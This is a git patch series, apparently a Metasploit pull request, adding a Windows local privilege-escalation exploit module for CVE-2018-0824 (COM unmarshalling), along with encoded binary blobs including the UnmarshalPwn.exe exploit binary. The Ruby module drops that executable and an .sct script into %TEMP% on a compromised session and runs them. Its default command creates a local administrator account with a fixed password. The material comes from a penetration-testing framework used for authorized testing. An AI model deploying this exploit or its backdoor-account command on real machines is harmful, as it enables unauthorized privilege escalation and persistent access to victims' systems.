a/external/source/exploits/CVE-2018-0824/stdafx.cpp b/external/source/exploits/CVE-2018-0824/stdafx.cpp new file mode 100644 index 0000000000000000000000000000000000000000..6d9ca6847aa4971de9bd9d6b1d9e8dc689900f8f GIT binary patch literal 600 zcmZ{iK}*9>5QOI}_#c9vZSUR$5pN1s@EV(hro<#9DVjg8ezUPnt4P_txBGT?W@q#D zxztjLdJW2ys?diPTC3%k=sI2+?bH#=@d}ly;x=eQ{y?l$&1*$g#!F9R%iSFlY!lh` zQu2(^@&C8#TxT#bmuK?cBCijON{@Ocwt&-`NP=e;6}Q&|7qe^Wo$HFMh7RoySEHFl z8vHuVNT*XbblaYEcb__#d&YU1|8WM5;F^mo3hKLO~E#|Fw&I0pk^^ItK$2c=4E#W<3rlHia0^ZRGpB-mSZGPBDq9?6DxzU|oQ2hQ# Wt!aO*Xy`pnIB8PG*7x6rS$_jc%4a74 literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2018-0824/stdafx.h b/external/source/exploits/CVE-2018-0824/stdafx.h new file mode 100644 index 0000000000000000000000000000000000000000..94d4ed877dbfd8cd2c783931c444cad664143b10 GIT binary patch literal 642 zcmaJ<%Z`FT5UjJw{sYnLM(@V#$-9^R0UQRwu#ECB^7Cp{4I>V}Q z8vEtLe;CsQ`f9DHxFP?Ev!}!l=AXA(tbaPXB)?e2)ZxZ=WBxB^dUob-#=8i1_Gje& z#NH7xP7*QWxk;u;fEfw0WxN;+co0fK2Vs4B9U*sm0{`t1wOo&Foy0~*EXI^K{ z&F{}p2USW{Xp2p>*G`#oJ!s%(q!H-M(Ty4fmG}kNtEQTB%)V1m=}BwwfWPvrT#@e@ zH0NG}74Ao{glS)#QXA|NYdIfY7hrMp+Ji@H`t9kzWx_SD6;~Ri;cvXH)6CO{-I1p_IJPQ#X=r zigZeSqQguJz35q;zt9^Q_C^^>*mmuXUCp&pw^fPoGX+dho4RCrySs7j@9_UipWkA5 OQDt4mH~x-^Z~X_?9czaG literal 0 HcmV?d00001 From d6bd0bea0201722f22ecdde7ee592980b84e613a Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Fri, 21 Sep 2018 15:38:55 +0530 Subject: [PATCH 07/20] Updating unmarshal.rb I have moved unmarshal.rb from '/post/windows/escalate' to '/exploit/windows/local' --- modules/exploits/windows/local/unmarshal.rb | 134 ++++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/exploits/windows/local/unmarshal.rb diff --git a/modules/exploits/windows/local/unmarshal.rb b/modules/exploits/windows/local/unmarshal.rb new file mode 100644 index 0000000000..56c2f467c2 --- /dev/null +++ b/modules/exploits/windows/local/unmarshal.rb @@ -0,0 +1,134 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows unmarshal post exploitation', + 'Description' => %q{ + This module exploits a local privilege escalation bug which exists + in microsoft COM for windows when it fails to properly handle serialized objects.}, + 'References' => + [ + ['CVE', '2018-0824'], + ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'], + ['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'], + ['EDB', '44906'] + ], + 'Author' => + [ + 'Nicolas Joly', # Vulnerability discovery + 'Matthias Kaiser', # Exploit PoC + 'Sanjay Gondaliya', # Modified PoC + 'Pratik Shah ' # Metasploit module + ], + 'DisclosureDate' => 'Aug 05 2018', + 'Arch' => [ARCH_X64], + 'SessionTypes' => ['meterpreter'], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('POCCMD', [true, 'The command to run from poc.sct', '/k net user msfadmin P@ssw0rd /add && net localgroup administrators msfadmin /add']), + OptString.new('READFILE', [ false, 'Read a remote file: ', 'C:\\Windows\\boot.ini' ]) + ]) + end + + def write_poc_to_target(rpoc, rpocname) + begin + print_warning("writing to %TEMP%") + temppoc = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname + write_sct_to_target(temppoc,rpoc) + end + + print_good("Persistent Script written to #{temppoc}") + temppoc + end + + def write_sct_to_target(temppoc,rpoc) + fd = session.fs.file.new(temppoc, "w") + fd.write(rpoc) + fd.close + end + + def app_poc_on_target(append,rpocname) + appendpoc = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname + fd = session.fs.file.new(appendpoc, "a") + fd.write(append) + fd.close + end + + def create_sct_file(txt) + print_status("Reading Payload from file #{txt}") + ::IO.read(txt) + end + + def write_exe_to_target(rexe, rexename) + begin + print_warning("writing to %TEMP%") + temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename + write_file_to_target(temprexe,rexe) + end + print_good("Persistent Script written to #{temprexe}") + temprexe + end + + def write_file_to_target(temprexe,rexe) + fd = session.fs.file.new(temprexe, "wb") + fd.write(rexe) + fd.close + end + + def create_payload_from_file(exec) + print_status("Reading Payload from file #{exec}") + ::IO.read(exec) + end + + def run + rexename = Rex::Text.rand_text_alphanumeric(10) + ".exe" + print_status("exe name is: #{rexename}") + rpocname = Rex::Text.rand_text_alphanumeric(10) + ".sct" + print_status("poc name is: #{rpocname}") + poccmd = datastore['POCCMD'] + cmdcheck = datastore['CMDCHECK'] + + rexe = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe') + raw = create_payload_from_file rexe + script_on_target = write_exe_to_target(raw, rexename) + rpoc = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'poc_header') + rawsct = create_sct_file rpoc + poc_on_target = write_poc_to_target(rawsct, rpocname) + + cmdpoc = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname + fd = session.fs.file.new(cmdpoc, "a") + fd.write(poccmd) + fd.close + + rpoc1 = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'poc_footer') + append = create_payload_from_file rpoc1 + append_on_target = app_poc_on_target(append, rpocname) + + print_status('Starting module...') + print_line('') + + command = session.fs.file.expand_path("%TEMP%") + "\\" + rexename + print_status("Location of UnmarshalPwn.exe is: #{command}") + command1 = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname + print_status("Location of poc.sct is: #{command1}") + + command += " " + command += "#{command1}" + + print_status("Executing command : #{command}") + command_output = cmd_exec(command) + print_line(command_output) + print_line('') + + end +end From 1b5186b112ad074206001648fe32de12a2909b02 Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Fri, 21 Sep 2018 15:53:26 +0530 Subject: [PATCH 08/20] Midified --- modules/exploits/windows/local/unmarshal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/unmarshal.rb b/modules/exploits/windows/local/unmarshal.rb index 56c2f467c2..7475ed2f25 100644 --- a/modules/exploits/windows/local/unmarshal.rb +++ b/modules/exploits/windows/local/unmarshal.rb @@ -2,7 +2,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class MetasploitModule < Msf::Post +class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Registry From 9aa746abee45364ddd7bf719d3f7a0ffee6bbba4 Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Fri, 21 Sep 2018 16:15:43 +0530 Subject: [PATCH 09/20] Adding rank to the module --- modules/exploits/windows/local/unmarshal.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/unmarshal.rb b/modules/exploits/windows/local/unmarshal.rb index 7475ed2f25..e5f9618333 100644 --- a/modules/exploits/windows/local/unmarshal.rb +++ b/modules/exploits/windows/local/unmarshal.rb @@ -3,7 +3,8 @@ ## class MetasploitModule < Msf::Exploit::Local - + Rank = GoodRanking + include Msf::Post::File include Msf::Post::Windows::Registry From 60fcca63b7884f07b9db40d49be6eae90243c67f Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Fri, 21 Sep 2018 17:04:31 +0530 Subject: [PATCH 10/20] Spaces at EOL --- modules/exploits/windows/local/unmarshal.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/unmarshal.rb b/modules/exploits/windows/local/unmarshal.rb index e5f9618333..dcc1197e22 100644 --- a/modules/exploits/windows/local/unmarshal.rb +++ b/modules/exploits/windows/local/unmarshal.rb @@ -3,8 +3,7 @@ ## class MetasploitModule < Msf::Exploit::Local - Rank = GoodRanking - + Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Windows::Registry From 545e4884862b4d932dea55e654d09ead98ad28b9 Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Fri, 21 Sep 2018 17:18:39 +0530 Subject: [PATCH 11/20] Uploading new UnmarshalPwn.exe As per the bwatters-r7 comment I am uploading new UnmarshalPwn.exe complied with platform toolset 120 --- data/exploits/CVE-2018-0824/UnmarshalPwn.exe | Bin 142848 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 data/exploits/CVE-2018-0824/UnmarshalPwn.exe diff --git a/data/exploits/CVE-2018-0824/UnmarshalPwn.exe b/data/exploits/CVE-2018-0824/UnmarshalPwn.exe deleted file mode 100644 index 6d4c3d81ac734fa94c92c3905aa98e00eaa588fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 142848 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 